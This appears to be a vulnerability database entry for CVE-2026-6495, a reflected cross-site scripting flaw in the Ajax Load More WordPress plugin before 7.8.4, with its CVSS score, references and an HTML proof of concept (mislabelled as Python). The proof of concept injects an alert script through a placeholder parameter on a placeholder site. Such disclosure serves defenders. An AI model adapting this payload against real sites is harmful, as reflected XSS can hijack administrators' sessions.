CVE-2026-6495

Description

The Ajax Load More WordPress plugin before 7.8.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Ajax Load More < 7.8.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
// PoC for CVE-2026-6495
// Note: The specific parameter name depends on the plugin configuration, usually found in the shortcode or query string.
-->

<html>
  <body>
    <h3>Ajax Load More XSS PoC</h3>
    <p>Click the link below to trigger the vulnerability (Simulated):</p>
    <a href="http://target-wordpress-site.com/?vulnerable_param="><script>alert('CVE-2026-6495')</script>">Exploit Link</a>
    
    <script>
      // Automated verification logic (if the script is reflected)
      var urlParams = new URLSearchParams(window.location.search);
      var payload = urlParams.get('vulnerable_param');
      if(payload && payload.includes('alert')) {
        console.log('Vulnerable parameter reflected successfully.');
      }
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6495
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6495
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6495/
[4] VulDB https://vuldb.com/cve/CVE-2026-6495
[5] https://wpscan.com/vulnerability/c52f28c5-547d-48ae-89dd-edcdaeadcec5/

Raw JSON Data

JSON

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